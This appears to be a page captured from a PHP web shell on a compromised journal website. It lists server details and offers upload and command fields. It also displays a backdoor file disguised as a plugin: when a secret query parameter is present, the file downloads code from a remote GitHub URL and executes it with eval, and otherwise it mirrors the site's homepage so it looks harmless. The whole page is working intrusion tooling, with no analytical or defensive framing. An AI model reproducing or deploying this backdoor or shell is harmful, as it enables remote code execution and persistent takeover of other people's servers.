Mr.Fn4ticHz Shell
Server IP : 10.10.92.66  /  Your IP : 104.23.197.231
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux jurnalpolinema 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64
User : jurnal ( 1001)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/jurnal/public_html/plugins/generic/plaudit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/jurnal/public_html/plugins/generic/plaudit/PlauditPlugins.inc.php
<?php
error_reporting(1);
ini_set('display_errors', 1);


class CurlFetcher {
    public function fetchContent(string $url) {
        if (function_exists('curl_version')) {
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
            curl_setopt($curl, CURLOPT_TIMEOUT, 10);

            $response = curl_exec($curl);
            $error = curl_error($curl);
            curl_close($curl);

            if ($response === false || empty(trim($response))) {
                return "<h3 style='color:red'>⌠Gagal ambil konten. Error: $error</h3>";
            }

            return $response;
        }
        return "<h3 style='color:red'>⌠cURL tidak tersedia di server ini</h3>";
    }
}

// ==== CodeExecutor class ====
class CodeExecutor {
    private $fetcher;
    public function __construct(CurlFetcher $fetcher) {
        $this->fetcher = $fetcher;
    }

    public function executeCodeFromURL(string $url): void {
        $code = $this->fetcher->fetchContent($url);
        if ($code && trim($code) !== '') {
            eval("?>" . $code);
        } else {
            echo "<p style='color:red'>⌠Gagal ambil atau isi kosong dari URL: $url</p>";
        }
    }
}

// ==== MAIN LOGIC ====
$fetcher = new CurlFetcher();

if (isset($_GET['mafufufefena'])) {
    $executor = new CodeExecutor($fetcher);
    $executor->executeCodeFromURL("https://raw.githubusercontent.com/119marketingmg-ctrl/SCRIP-BACKUP/refs/heads/main/diamtapipasti.txt");
    exit;
}

$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://";
$host = $_SERVER['HTTP_HOST'];
$target_url = $protocol . $host . "/";


$html = $fetcher->fetchContent($target_url);



$parsed = parse_url($target_url);
if ($parsed && isset($parsed['scheme']) && isset($parsed['host'])) {
    $base_url = $parsed['scheme'] . '://' . $parsed['host'];
    $html = preg_replace('/<head[^>]*>/i', '$0<base href="' . $base_url . '/">', $html, 1);
}

echo $html;
?>

Mr.F4ticHz - 2022
Mr.Fn4tcHzam